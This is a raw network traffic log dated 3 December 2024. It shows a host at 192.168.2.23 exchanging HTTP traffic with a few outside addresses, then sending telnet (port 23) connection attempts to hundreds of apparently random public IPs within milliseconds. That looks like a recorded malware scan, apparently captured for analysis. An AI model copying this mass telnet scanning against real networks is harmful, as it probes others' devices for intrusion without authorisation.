Dec 3, 2024 23:01:55.554078102 CET	80	57802	137.224.169.141	192.168.2.23
Dec 3, 2024 23:01:55.554081917 CET	80	40114	212.53.111.208	192.168.2.23
Dec 3, 2024 23:01:55.554085016 CET	80	35558	85.42.189.137	192.168.2.23
Dec 3, 2024 23:01:55.630814075 CET	80	35598	85.42.189.137	192.168.2.23
Dec 3, 2024 23:01:55.630891085 CET	35598	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.631141901 CET	80	40152	212.53.111.208	192.168.2.23
Dec 3, 2024 23:01:55.631191015 CET	40152	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.631747961 CET	80	57840	137.224.169.141	192.168.2.23
Dec 3, 2024 23:01:55.631972075 CET	57840	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.632056952 CET	80	49216	124.224.219.168	192.168.2.23
Dec 3, 2024 23:01:55.632121086 CET	49216	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.632319927 CET	80	54276	208.132.145.179	192.168.2.23
Dec 3, 2024 23:01:55.632388115 CET	54276	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.632680893 CET	80	55676	8.255.164.128	192.168.2.23
Dec 3, 2024 23:01:55.632741928 CET	55676	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.633203030 CET	80	59766	105.172.5.168	192.168.2.23
Dec 3, 2024 23:01:55.633251905 CET	59766	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.633304119 CET	80	49040	176.1.7.9	192.168.2.23
Dec 3, 2024 23:01:55.633358955 CET	49040	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.633572102 CET	80	56756	173.230.39.235	192.168.2.23
Dec 3, 2024 23:01:55.633616924 CET	56756	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.633889914 CET	80	52412	175.75.70.54	192.168.2.23
Dec 3, 2024 23:01:55.633898973 CET	80	35606	78.65.198.150	192.168.2.23
Dec 3, 2024 23:01:55.633903027 CET	80	37634	159.108.60.226	192.168.2.23
Dec 3, 2024 23:01:55.634535074 CET	80	37634	159.108.60.226	192.168.2.23
Dec 3, 2024 23:01:55.634623051 CET	37634	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.635061026 CET	80	35606	78.65.198.150	192.168.2.23
Dec 3, 2024 23:01:55.635118008 CET	35606	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.635246038 CET	80	52412	175.75.70.54	192.168.2.23
Dec 3, 2024 23:01:55.635330915 CET	52412	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.697693110 CET	62862	23	192.168.2.23	76.161.166.196
Dec 3, 2024 23:01:55.697727919 CET	62862	23	192.168.2.23	76.60.33.209
Dec 3, 2024 23:01:55.697758913 CET	62862	23	192.168.2.23	195.110.137.88
Dec 3, 2024 23:01:55.697792053 CET	62862	23	192.168.2.23	13.176.62.190
Dec 3, 2024 23:01:55.697839975 CET	62862	23	192.168.2.23	192.178.145.169
Dec 3, 2024 23:01:55.697844028 CET	62862	23	192.168.2.23	194.170.249.222
Dec 3, 2024 23:01:55.697839975 CET	62862	23	192.168.2.23	71.226.21.127
Dec 3, 2024 23:01:55.697916985 CET	62862	23	192.168.2.23	116.123.0.168
Dec 3, 2024 23:01:55.697916985 CET	62862	23	192.168.2.23	89.171.234.145
Dec 3, 2024 23:01:55.697957039 CET	62862	23	192.168.2.23	41.118.181.98
Dec 3, 2024 23:01:55.697983027 CET	62862	23	192.168.2.23	218.28.161.12
Dec 3, 2024 23:01:55.697997093 CET	62862	23	192.168.2.23	167.29.54.39
Dec 3, 2024 23:01:55.698028088 CET	62862	23	192.168.2.23	141.254.113.69
Dec 3, 2024 23:01:55.698057890 CET	62862	23	192.168.2.23	193.108.34.229
Dec 3, 2024 23:01:55.698065042 CET	62862	23	192.168.2.23	179.47.96.253
Dec 3, 2024 23:01:55.698087931 CET	62862	23	192.168.2.23	37.109.90.13
Dec 3, 2024 23:01:55.698111057 CET	62862	23	192.168.2.23	78.179.206.6
Dec 3, 2024 23:01:55.698137045 CET	62862	23	192.168.2.23	41.96.219.213
Dec 3, 2024 23:01:55.698154926 CET	62862	23	192.168.2.23	160.85.25.146
Dec 3, 2024 23:01:55.698174000 CET	62862	23	192.168.2.23	174.56.228.221
Dec 3, 2024 23:01:55.698189974 CET	62862	23	192.168.2.23	36.223.149.116
Dec 3, 2024 23:01:55.698215961 CET	62862	23	192.168.2.23	39.169.136.177
Dec 3, 2024 23:01:55.698231936 CET	62862	23	192.168.2.23	193.78.120.142
Dec 3, 2024 23:01:55.698256016 CET	62862	23	192.168.2.23	136.35.224.187
Dec 3, 2024 23:01:55.698266983 CET	62862	23	192.168.2.23	112.196.33.169
Dec 3, 2024 23:01:55.698282003 CET	62862	23	192.168.2.23	68.233.194.247
Dec 3, 2024 23:01:55.698291063 CET	62862	23	192.168.2.23	126.106.147.213
Dec 3, 2024 23:01:55.698317051 CET	62862	23	192.168.2.23	109.251.36.2
Dec 3, 2024 23:01:55.698323011 CET	62862	23	192.168.2.23	71.6.170.26
Dec 3, 2024 23:01:55.698332071 CET	62862	23	192.168.2.23	69.114.81.79
Dec 3, 2024 23:01:55.698359013 CET	62862	23	192.168.2.23	194.245.127.73
Dec 3, 2024 23:01:55.698373079 CET	62862	23	192.168.2.23	168.77.251.49
Dec 3, 2024 23:01:55.698385000 CET	62862	23	192.168.2.23	73.100.198.238
Dec 3, 2024 23:01:55.698399067 CET	62862	23	192.168.2.23	25.219.4.22
Dec 3, 2024 23:01:55.698421955 CET	62862	23	192.168.2.23	200.232.21.153
Dec 3, 2024 23:01:55.698446989 CET	62862	23	192.168.2.23	105.113.7.187
Dec 3, 2024 23:01:55.698472023 CET	62862	23	192.168.2.23	182.139.155.62
Dec 3, 2024 23:01:55.698478937 CET	62862	23	192.168.2.23	211.53.2.91
Dec 3, 2024 23:01:55.698509932 CET	62862	23	192.168.2.23	192.135.54.32
Dec 3, 2024 23:01:55.698534012 CET	62862	23	192.168.2.23	152.201.253.148
Dec 3, 2024 23:01:55.698545933 CET	62862	23	192.168.2.23	66.112.45.201
Dec 3, 2024 23:01:55.698558092 CET	62862	23	192.168.2.23	136.48.178.0
Dec 3, 2024 23:01:55.698582888 CET	62862	23	192.168.2.23	136.8.131.30
Dec 3, 2024 23:01:55.698596001 CET	62862	23	192.168.2.23	57.236.180.88
Dec 3, 2024 23:01:55.698621988 CET	62862	23	192.168.2.23	43.8.87.69
Dec 3, 2024 23:01:55.698658943 CET	62862	23	192.168.2.23	103.232.153.23
Dec 3, 2024 23:01:55.698668003 CET	62862	23	192.168.2.23	132.234.143.109
Dec 3, 2024 23:01:55.698678970 CET	62862	23	192.168.2.23	110.82.241.119
Dec 3, 2024 23:01:55.698695898 CET	62862	23	192.168.2.23	168.220.219.0
Dec 3, 2024 23:01:55.698720932 CET	62862	23	192.168.2.23	220.155.127.39
Dec 3, 2024 23:01:55.698745966 CET	62862	23	192.168.2.23	62.169.116.125
Dec 3, 2024 23:01:55.698767900 CET	62862	23	192.168.2.23	114.46.52.122
Dec 3, 2024 23:01:55.698793888 CET	62862	23	192.168.2.23	223.250.189.161
Dec 3, 2024 23:01:55.698806047 CET	62862	23	192.168.2.23	60.80.190.172
Dec 3, 2024 23:01:55.698831081 CET	62862	23	192.168.2.23	59.229.138.61
Dec 3, 2024 23:01:55.698857069 CET	62862	23	192.168.2.23	90.103.80.206
Dec 3, 2024 23:01:55.698858976 CET	62862	23	192.168.2.23	221.207.61.108
Dec 3, 2024 23:01:55.698858976 CET	62862	23	192.168.2.23	124.203.161.25
Dec 3, 2024 23:01:55.698879004 CET	62862	23	192.168.2.23	97.190.184.63
Dec 3, 2024 23:01:55.698882103 CET	62862	23	192.168.2.23	163.17.87.76
Dec 3, 2024 23:01:55.698913097 CET	62862	23	192.168.2.23	65.159.133.197
Dec 3, 2024 23:01:55.698930025 CET	62862	23	192.168.2.23	27.133.67.32
Dec 3, 2024 23:01:55.698959112 CET	62862	23	192.168.2.23	184.247.172.75
Dec 3, 2024 23:01:55.698970079 CET	62862	23	192.168.2.23	37.147.119.124
Dec 3, 2024 23:01:55.698997974 CET	62862	23	192.168.2.23	54.159.92.249
Dec 3, 2024 23:01:55.699009895 CET	62862	23	192.168.2.23	120.179.146.60
Dec 3, 2024 23:01:55.699023962 CET	62862	23	192.168.2.23	108.56.180.36
Dec 3, 2024 23:01:55.699052095 CET	62862	23	192.168.2.23	132.230.130.202
Dec 3, 2024 23:01:55.699076891 CET	62862	23	192.168.2.23	51.125.149.229
Dec 3, 2024 23:01:55.699100971 CET	62862	23	192.168.2.23	220.107.147.207
Dec 3, 2024 23:01:55.699131012 CET	62862	23	192.168.2.23	194.208.160.186
Dec 3, 2024 23:01:55.699146986 CET	62862	23	192.168.2.23	76.1.206.237
Dec 3, 2024 23:01:55.699172974 CET	62862	23	192.168.2.23	187.181.98.171
Dec 3, 2024 23:01:55.699255943 CET	62862	23	192.168.2.23	49.181.221.82
Dec 3, 2024 23:01:55.699265957 CET	62862	23	192.168.2.23	156.200.217.26
Dec 3, 2024 23:01:55.699286938 CET	62862	23	192.168.2.23	66.245.85.156
Dec 3, 2024 23:01:55.699295044 CET	62862	23	192.168.2.23	139.46.133.5
Dec 3, 2024 23:01:55.699331045 CET	62862	23	192.168.2.23	106.225.74.45
Dec 3, 2024 23:01:55.699346066 CET	62862	23	192.168.2.23	54.3.95.243
Dec 3, 2024 23:01:55.699368954 CET	62862	23	192.168.2.23	205.160.11.160
Dec 3, 2024 23:01:55.699384928 CET	62862	23	192.168.2.23	66.112.246.96
Dec 3, 2024 23:01:55.699397087 CET	62862	23	192.168.2.23	218.31.52.197
Dec 3, 2024 23:01:55.699424028 CET	62862	23	192.168.2.23	169.235.218.161
Dec 3, 2024 23:01:55.699443102 CET	62862	23	192.168.2.23	88.34.65.218
Dec 3, 2024 23:01:55.699471951 CET	62862	23	192.168.2.23	209.234.123.255
Dec 3, 2024 23:01:55.699482918 CET	62862	23	192.168.2.23	45.133.51.19
Dec 3, 2024 23:01:55.699505091 CET	62862	23	192.168.2.23	148.113.182.5
Dec 3, 2024 23:01:55.699522018 CET	62862	23	192.168.2.23	209.186.248.205
Dec 3, 2024 23:01:55.699553967 CET	62862	23	192.168.2.23	217.131.70.118
Dec 3, 2024 23:01:55.699558973 CET	62862	23	192.168.2.23	158.15.226.232
Dec 3, 2024 23:01:55.699580908 CET	62862	23	192.168.2.23	170.24.37.57
Dec 3, 2024 23:01:55.699613094 CET	62862	23	192.168.2.23	134.249.60.1
Dec 3, 2024 23:01:55.699621916 CET	62862	23	192.168.2.23	180.160.83.147
Dec 3, 2024 23:01:55.699636936 CET	62862	23	192.168.2.23	121.31.12.88
Dec 3, 2024 23:01:55.699652910 CET	62862	23	192.168.2.23	153.49.164.196
Dec 3, 2024 23:01:55.699665070 CET	62862	23	192.168.2.23	164.16.145.147
Dec 3, 2024 23:01:55.699697018 CET	62862	23	192.168.2.23	124.37.122.95
Dec 3, 2024 23:01:55.699708939 CET	62862	23	192.168.2.23	211.79.242.27
Dec 3, 2024 23:01:55.699732065 CET	62862	23	192.168.2.23	223.114.100.126
Dec 3, 2024 23:01:55.699757099 CET	62862	23	192.168.2.23	150.0.19.187
Dec 3, 2024 23:01:55.699780941 CET	62862	23	192.168.2.23	191.48.154.24
Dec 3, 2024 23:01:55.699806929 CET	62862	23	192.168.2.23	178.180.141.41
Dec 3, 2024 23:01:55.699812889 CET	62862	23	192.168.2.23	82.105.131.15
Dec 3, 2024 23:01:55.699832916 CET	62862	23	192.168.2.23	80.88.2.137
Dec 3, 2024 23:01:55.699843884 CET	62862	23	192.168.2.23	171.217.214.246
Dec 3, 2024 23:01:55.699871063 CET	62862	23	192.168.2.23	170.198.55.210
Dec 3, 2024 23:01:55.699892998 CET	62862	23	192.168.2.23	159.23.112.47
Dec 3, 2024 23:01:55.699907064 CET	62862	23	192.168.2.23	48.217.255.95
Dec 3, 2024 23:01:55.699932098 CET	62862	23	192.168.2.23	156.203.2.171
Dec 3, 2024 23:01:55.699958086 CET	62862	23	192.168.2.23	125.187.220.73
Dec 3, 2024 23:01:55.699979067 CET	62862	23	192.168.2.23	156.212.57.227
Dec 3, 2024 23:01:55.700002909 CET	62862	23	192.168.2.23	88.180.39.249
Dec 3, 2024 23:01:55.700016975 CET	62862	23	192.168.2.23	74.171.145.95
Dec 3, 2024 23:01:55.700043917 CET	62862	23	192.168.2.23	46.84.56.169
Dec 3, 2024 23:01:55.700068951 CET	62862	23	192.168.2.23	66.19.31.1
Dec 3, 2024 23:01:55.700081110 CET	62862	23	192.168.2.23	54.70.113.202
Dec 3, 2024 23:01:55.700094938 CET	62862	23	192.168.2.23	167.217.96.111
Dec 3, 2024 23:01:55.700120926 CET	62862	23	192.168.2.23	73.248.122.206
Dec 3, 2024 23:01:55.700143099 CET	62862	23	192.168.2.23	52.129.223.91
Dec 3, 2024 23:01:55.700167894 CET	62862	23	192.168.2.23	65.206.136.130
Dec 3, 2024 23:01:55.700193882 CET	62862	23	192.168.2.23	112.185.16.108
Dec 3, 2024 23:01:55.700206995 CET	62862	23	192.168.2.23	119.197.71.240
Dec 3, 2024 23:01:55.700222015 CET	62862	23	192.168.2.23	177.138.40.245
Dec 3, 2024 23:01:55.700242043 CET	62862	23	192.168.2.23	172.1.243.192
Dec 3, 2024 23:01:55.700264931 CET	62862	23	192.168.2.23	38.149.177.190
Dec 3, 2024 23:01:55.700289011 CET	62862	23	192.168.2.23	61.177.75.96
Dec 3, 2024 23:01:55.700316906 CET	62862	23	192.168.2.23	31.248.84.227
Dec 3, 2024 23:01:55.700325012 CET	62862	23	192.168.2.23	185.226.200.51
Dec 3, 2024 23:01:55.700341940 CET	62862	23	192.168.2.23	60.154.90.253
Dec 3, 2024 23:01:55.700351954 CET	62862	23	192.168.2.23	27.254.44.204
Dec 3, 2024 23:01:55.700361013 CET	62862	23	192.168.2.23	66.120.122.247
Dec 3, 2024 23:01:55.700380087 CET	62862	23	192.168.2.23	80.242.137.201
Dec 3, 2024 23:01:55.700402021 CET	62862	23	192.168.2.23	178.43.174.174
Dec 3, 2024 23:01:55.700414896 CET	62862	23	192.168.2.23	164.17.65.95
Dec 3, 2024 23:01:55.700431108 CET	62862	23	192.168.2.23	67.28.162.137
Dec 3, 2024 23:01:55.700442076 CET	62862	23	192.168.2.23	34.120.67.255
Dec 3, 2024 23:01:55.700454950 CET	62862	23	192.168.2.23	140.164.181.1
Dec 3, 2024 23:01:55.700464964 CET	62862	23	192.168.2.23	37.206.239.118
Dec 3, 2024 23:01:55.700481892 CET	62862	23	192.168.2.23	53.124.84.151
Dec 3, 2024 23:01:55.700489998 CET	62862	23	192.168.2.23	37.139.206.1
Dec 3, 2024 23:01:55.700504065 CET	62862	23	192.168.2.23	167.137.126.123
Dec 3, 2024 23:01:55.700532913 CET	62862	23	192.168.2.23	182.240.156.192
Dec 3, 2024 23:01:55.700556040 CET	62862	23	192.168.2.23	97.96.203.188
Dec 3, 2024 23:01:55.700582027 CET	62862	23	192.168.2.23	222.225.51.26
Dec 3, 2024 23:01:55.700602055 CET	62862	23	192.168.2.23	222.184.109.23
Dec 3, 2024 23:01:55.700629950 CET	62862	23	192.168.2.23	23.73.98.160
Dec 3, 2024 23:01:55.700654030 CET	62862	23	192.168.2.23	178.60.39.58
Dec 3, 2024 23:01:55.700666904 CET	62862	23	192.168.2.23	138.81.152.126
Dec 3, 2024 23:01:55.700690985 CET	62862	23	192.168.2.23	126.105.224.139
Dec 3, 2024 23:01:55.700714111 CET	62862	23	192.168.2.23	81.178.13.127
Dec 3, 2024 23:01:55.700728893 CET	62862	23	192.168.2.23	83.122.194.12
Dec 3, 2024 23:01:55.700742960 CET	62862	23	192.168.2.23	59.134.24.25
Dec 3, 2024 23:01:55.700754881 CET	62862	23	192.168.2.23	144.7.192.133
Dec 3, 2024 23:01:55.700771093 CET	62862	23	192.168.2.23	161.210.18.250
Dec 3, 2024 23:01:55.700781107 CET	62862	23	192.168.2.23	75.111.114.154
Dec 3, 2024 23:01:55.700804949 CET	62862	23	192.168.2.23	54.190.100.228
Dec 3, 2024 23:01:55.700818062 CET	62862	23	192.168.2.23	125.74.42.156
Dec 3, 2024 23:01:55.700843096 CET	62862	23	192.168.2.23	176.73.115.156
Dec 3, 2024 23:01:55.700855970 CET	62862	23	192.168.2.23	111.164.198.249
Dec 3, 2024 23:01:55.700879097 CET	62862	23	192.168.2.23	102.128.38.10
Dec 3, 2024 23:01:55.700906992 CET	62862	23	192.168.2.23	180.42.70.187
Dec 3, 2024 23:01:55.700922966 CET	62862	23	192.168.2.23	130.156.8.122
Dec 3, 2024 23:01:55.700932026 CET	62862	23	192.168.2.23	52.248.145.62
Dec 3, 2024 23:01:55.700946093 CET	62862	23	192.168.2.23	45.168.67.220
Dec 3, 2024 23:01:55.700968027 CET	62862	23	192.168.2.23	124.88.191.246
Dec 3, 2024 23:01:55.700980902 CET	62862	23	192.168.2.23	190.75.167.142
Dec 3, 2024 23:01:55.701000929 CET	62862	23	192.168.2.23	48.87.181.109
Dec 3, 2024 23:01:55.701018095 CET	62862	23	192.168.2.23	82.254.31.101
Dec 3, 2024 23:01:55.701045036 CET	62862	23	192.168.2.23	204.25.242.163
Dec 3, 2024 23:01:55.701060057 CET	62862	23	192.168.2.23	159.52.67.227
Dec 3, 2024 23:01:55.701080084 CET	62862	23	192.168.2.23	152.102.203.247
Dec 3, 2024 23:01:55.701096058 CET	62862	23	192.168.2.23	131.140.99.12
Dec 3, 2024 23:01:55.701118946 CET	62862	23	192.168.2.23	218.109.16.16
Dec 3, 2024 23:01:55.701131105 CET	62862	23	192.168.2.23	169.237.73.9
Dec 3, 2024 23:01:55.701145887 CET	62862	23	192.168.2.23	205.83.249.165
Dec 3, 2024 23:01:55.701170921 CET	62862	23	192.168.2.23	113.176.69.220
Dec 3, 2024 23:01:55.701184034 CET	62862	23	192.168.2.23	131.87.237.130
Dec 3, 2024 23:01:55.701196909 CET	62862	23	192.168.2.23	73.247.176.187
Dec 3, 2024 23:01:55.701208115 CET	62862	23	192.168.2.23	49.129.239.182
Dec 3, 2024 23:01:55.701216936 CET	62862	23	192.168.2.23	135.55.105.44
Dec 3, 2024 23:01:55.701245070 CET	62862	23	192.168.2.23	70.19.232.224
Dec 3, 2024 23:01:55.701271057 CET	62862	23	192.168.2.23	8.152.5.228
Dec 3, 2024 23:01:55.701294899 CET	62862	23	192.168.2.23	32.89.180.136
Dec 3, 2024 23:01:55.701308012 CET	62862	23	192.168.2.23	24.247.12.3
Dec 3, 2024 23:01:55.701322079 CET	62862	23	192.168.2.23	111.153.79.49
Dec 3, 2024 23:01:55.701334000 CET	62862	23	192.168.2.23	208.45.199.145
Dec 3, 2024 23:01:55.701347113 CET	62862	23	192.168.2.23	185.99.230.74
Dec 3, 2024 23:01:55.701370955 CET	62862	23	192.168.2.23	213.14.216.59
Dec 3, 2024 23:01:55.701385975 CET	62862	23	192.168.2.23	184.127.201.157
Dec 3, 2024 23:01:55.701392889 CET	62862	23	192.168.2.23	212.81.214.191
Dec 3, 2024 23:01:55.701421976 CET	62862	23	192.168.2.23	118.52.91.212
Dec 3, 2024 23:01:55.701436996 CET	62862	23	192.168.2.23	71.117.90.135
Dec 3, 2024 23:01:55.701458931 CET	62862	23	192.168.2.23	191.100.178.177
Dec 3, 2024 23:01:55.701483965 CET	62862	23	192.168.2.23	166.212.118.0
Dec 3, 2024 23:01:55.701495886 CET	62862	23	192.168.2.23	172.191.95.97
Dec 3, 2024 23:01:55.701509953 CET	62862	23	192.168.2.23	221.63.3.132
Dec 3, 2024 23:01:55.701534033 CET	62862	23	192.168.2.23	179.97.38.14
Dec 3, 2024 23:01:55.701545000 CET	62862	23	192.168.2.23	190.205.84.145
Dec 3, 2024 23:01:55.701560020 CET	62862	23	192.168.2.23	38.111.124.254
Dec 3, 2024 23:01:55.701570034 CET	62862	23	192.168.2.23	148.13.220.98
Dec 3, 2024 23:01:55.701595068 CET	62862	23	192.168.2.23	155.170.16.233
Dec 3, 2024 23:01:55.701620102 CET	62862	23	192.168.2.23	197.11.40.174
Dec 3, 2024 23:01:55.701632977 CET	62862	23	192.168.2.23	192.166.200.113
Dec 3, 2024 23:01:55.701658010 CET	62862	23	192.168.2.23	61.134.45.99
Dec 3, 2024 23:01:55.701683998 CET	62862	23	192.168.2.23	217.154.130.78
Dec 3, 2024 23:01:55.701694012 CET	62862	23	192.168.2.23	61.224.20.98
Dec 3, 2024 23:01:55.701718092 CET	62862	23	192.168.2.23	190.187.1.4
Dec 3, 2024 23:01:55.701739073 CET	62862	23	192.168.2.23	159.186.121.144
Dec 3, 2024 23:01:55.701761007 CET	62862	23	192.168.2.23	119.255.30.255
Dec 3, 2024 23:01:55.701788902 CET	62862	23	192.168.2.23	89.251.98.90
Dec 3, 2024 23:01:55.701802015 CET	62862	23	192.168.2.23	97.54.148.128
Dec 3, 2024 23:01:55.701826096 CET	62862	23	192.168.2.23	113.202.15.244
Dec 3, 2024 23:01:55.701843023 CET	62862	23	192.168.2.23	135.253.30.145
Dec 3, 2024 23:01:55.701854944 CET	62862	23	192.168.2.23	130.211.232.112
Dec 3, 2024 23:01:55.701867104 CET	62862	23	192.168.2.23	206.78.133.97
Dec 3, 2024 23:01:55.701881886 CET	62862	23	192.168.2.23	143.51.98.91
Dec 3, 2024 23:01:55.701889992 CET	62862	23	192.168.2.23	146.60.140.156
Dec 3, 2024 23:01:55.701917887 CET	62862	23	192.168.2.23	197.54.58.191
Dec 3, 2024 23:01:55.701929092 CET	62862	23	192.168.2.23	183.95.183.50
Dec 3, 2024 23:01:55.701942921 CET	62862	23	192.168.2.23	204.99.93.6
Dec 3, 2024 23:01:55.701958895 CET	62862	23	192.168.2.23	143.247.234.148
Dec 3, 2024 23:01:55.701982021 CET	62862	23	192.168.2.23	221.20.132.170
Dec 3, 2024 23:01:55.702007055 CET	62862	23	192.168.2.23	14.82.71.53
Dec 3, 2024 23:01:55.702018023 CET	62862	23	192.168.2.23	82.10.30.175
Dec 3, 2024 23:01:55.702048063 CET	62862	23	192.168.2.23	150.233.194.193
Dec 3, 2024 23:01:55.702060938 CET	62862	23	192.168.2.23	94.159.207.114
Dec 3, 2024 23:01:55.702090025 CET	62862	23	192.168.2.23	144.65.199.179
Dec 3, 2024 23:01:55.702100039 CET	62862	23	192.168.2.23	43.43.149.163
Dec 3, 2024 23:01:55.702126026 CET	62862	23	192.168.2.23	59.223.191.5
Dec 3, 2024 23:01:55.702131033 CET	62862	23	192.168.2.23	166.64.148.179
Dec 3, 2024 23:01:55.702141047 CET	62862	23	192.168.2.23	98.5.11.193
Dec 3, 2024 23:01:55.702159882 CET	62862	23	192.168.2.23	77.130.113.102
Dec 3, 2024 23:01:55.702168941 CET	62862	23	192.168.2.23	151.118.94.255
Dec 3, 2024 23:01:55.702189922 CET	62862	23	192.168.2.23	156.63.177.233
Dec 3, 2024 23:01:55.702214003 CET	62862	23	192.168.2.23	206.33.149.185
Dec 3, 2024 23:01:55.702227116 CET	62862	23	192.168.2.23	78.119.244.31
Dec 3, 2024 23:01:55.702240944 CET	62862	23	192.168.2.23	139.137.184.34
Dec 3, 2024 23:01:55.702274084 CET	62862	23	192.168.2.23	105.2.116.46
Dec 3, 2024 23:01:55.702274084 CET	62862	23	192.168.2.23	162.254.215.96
Dec 3, 2024 23:01:55.702296019 CET	62862	23	192.168.2.23	53.83.211.78
Dec 3, 2024 23:01:55.702300072 CET	62862	23	192.168.2.23	148.221.26.57
Dec 3, 2024 23:01:55.702326059 CET	62862	23	192.168.2.23	198.138.157.254
Dec 3, 2024 23:01:55.702342033 CET	62862	23	192.168.2.23	204.184.213.207
Dec 3, 2024 23:01:55.702364922 CET	62862	23	192.168.2.23	204.255.250.175
Dec 3, 2024 23:01:55.702368975 CET	62862	23	192.168.2.23	184.113.169.136
Dec 3, 2024 23:01:55.702389956 CET	62862	23	192.168.2.23	47.128.128.108
Dec 3, 2024 23:01:55.702416897 CET	62862	23	192.168.2.23	154.156.113.59
Dec 3, 2024 23:01:55.702438116 CET	62862	23	192.168.2.23	67.225.53.239
Dec 3, 2024 23:01:55.702452898 CET	62862	23	192.168.2.23	126.201.147.34
Dec 3, 2024 23:01:55.702465057 CET	62862	23	192.168.2.23	171.99.163.59
Dec 3, 2024 23:01:55.702485085 CET	62862	23	192.168.2.23	25.31.26.102
Dec 3, 2024 23:01:55.702507973 CET	62862	23	192.168.2.23	219.252.149.216
Dec 3, 2024 23:01:55.702537060 CET	62862	23	192.168.2.23	198.247.186.67
Dec 3, 2024 23:01:55.702560902 CET	62862	23	192.168.2.23	54.187.36.151
Dec 3, 2024 23:01:55.702585936 CET	62862	23	192.168.2.23	135.23.60.128
Dec 3, 2024 23:01:55.702585936 CET	62862	23	192.168.2.23	191.48.188.199
Dec 3, 2024 23:01:55.702599049 CET	62862	23	192.168.2.23	192.210.232.10
Dec 3, 2024 23:01:55.702615023 CET	62862	23	192.168.2.23	72.67.183.111
Dec 3, 2024 23:01:55.702644110 CET	62862	23	192.168.2.23	14.92.21.98
Dec 3, 2024 23:01:55.702666998 CET	62862	23	192.168.2.23	43.104.17.187
Dec 3, 2024 23:01:55.702691078 CET	62862	23	192.168.2.23	143.148.160.66
Dec 3, 2024 23:01:55.702714920 CET	62862	23	192.168.2.23	223.133.176.150
Dec 3, 2024 23:01:55.702747107 CET	62862	23	192.168.2.23	157.8.250.18
Dec 3, 2024 23:01:55.702776909 CET	62862	23	192.168.2.23	112.58.33.36
Dec 3, 2024 23:01:55.702790022 CET	62862	23	192.168.2.23	169.63.37.117
Dec 3, 2024 23:01:55.702804089 CET	62862	23	192.168.2.23	80.158.162.81
Dec 3, 2024 23:01:55.702820063 CET	62862	23	192.168.2.23	166.4.235.113
Dec 3, 2024 23:01:55.702827930 CET	62862	23	192.168.2.23	49.138.101.8
Dec 3, 2024 23:01:55.702841043 CET	62862	23	192.168.2.23	128.115.119.223
Dec 3, 2024 23:01:55.702867985 CET	62862	23	192.168.2.23	93.7.178.48
Dec 3, 2024 23:01:55.702892065 CET	62862	23	192.168.2.23	178.40.97.38
Dec 3, 2024 23:01:55.702914000 CET	62862	23	192.168.2.23	190.145.113.131
Dec 3, 2024 23:01:55.702939034 CET	62862	23	192.168.2.23	19.125.99.155
Dec 3, 2024 23:01:55.702963114 CET	62862	23	192.168.2.23	48.113.145.139
Dec 3, 2024 23:01:55.702977896 CET	62862	23	192.168.2.23	37.68.99.152
Dec 3, 2024 23:01:55.703000069 CET	62862	23	192.168.2.23	176.243.73.65
Dec 3, 2024 23:01:55.703025103 CET	62862	23	192.168.2.23	71.217.194.194
Dec 3, 2024 23:01:55.703038931 CET	62862	23	192.168.2.23	207.118.81.95
Dec 3, 2024 23:01:55.703053951 CET	62862	23	192.168.2.23	18.46.247.243
Dec 3, 2024 23:01:55.703077078 CET	62862	23	192.168.2.23	54.167.153.40
Dec 3, 2024 23:01:55.703089952 CET	62862	23	192.168.2.23	169.235.28.27
Dec 3, 2024 23:01:55.703104019 CET	62862	23	192.168.2.23	122.41.214.80
Dec 3, 2024 23:01:55.703115940 CET	62862	23	192.168.2.23	150.224.164.115
Dec 3, 2024 23:01:55.703140020 CET	62862	23	192.168.2.23	169.4.20.168
Dec 3, 2024 23:01:55.703165054 CET	62862	23	192.168.2.23	47.226.80.81
Dec 3, 2024 23:01:55.703177929 CET	62862	23	192.168.2.23	35.90.205.21
Dec 3, 2024 23:01:55.703192949 CET	62862	23	192.168.2.23	80.24.154.200
Dec 3, 2024 23:01:55.703222036 CET	62862	23	192.168.2.23	107.22.89.93
Dec 3, 2024 23:01:55.703233957 CET	62862	23	192.168.2.23	86.64.118.202
Dec 3, 2024 23:01:55.703248978 CET	62862	23	192.168.2.23	43.143.203.36
Dec 3, 2024 23:01:55.703272104 CET	62862	23	192.168.2.23	112.231.219.0
Dec 3, 2024 23:01:55.703284979 CET	62862	23	192.168.2.23	64.32.92.104
Dec 3, 2024 23:01:55.703299046 CET	62862	23	192.168.2.23	65.244.207.95
Dec 3, 2024 23:01:55.703327894 CET	62862	23	192.168.2.23	223.65.64.124
Dec 3, 2024 23:01:55.703331947 CET	62862	23	192.168.2.23	81.205.128.78
Dec 3, 2024 23:01:55.703351974 CET	62862	23	192.168.2.23	9.32.177.100
Dec 3, 2024 23:01:55.703377008 CET	62862	23	192.168.2.23	89.50.83.40
Dec 3, 2024 23:01:55.703382015 CET	62862	23	192.168.2.23	173.229.59.209
Dec 3, 2024 23:01:55.703402042 CET	62862	23	192.168.2.23	198.177.220.140
Dec 3, 2024 23:01:55.703425884 CET	62862	23	192.168.2.23	42.172.124.135
Dec 3, 2024 23:01:55.703438044 CET	62862	23	192.168.2.23	131.187.220.183
Dec 3, 2024 23:01:55.703450918 CET	62862	23	192.168.2.23	122.12.94.125
Dec 3, 2024 23:01:55.703459978 CET	62862	23	192.168.2.23	66.127.150.202
Dec 3, 2024 23:01:55.703480959 CET	62862	23	192.168.2.23	131.203.100.233
Dec 3, 2024 23:01:55.703490973 CET	62862	23	192.168.2.23	81.230.13.230
Dec 3, 2024 23:01:55.703515053 CET	62862	23	192.168.2.23	184.94.235.85
Dec 3, 2024 23:01:55.703540087 CET	62862	23	192.168.2.23	24.20.158.194
Dec 3, 2024 23:01:55.703563929 CET	62862	23	192.168.2.23	129.76.217.178
Dec 3, 2024 23:01:55.703588009 CET	62862	23	192.168.2.23	123.177.150.137
Dec 3, 2024 23:01:55.703613997 CET	62862	23	192.168.2.23	9.253.45.99
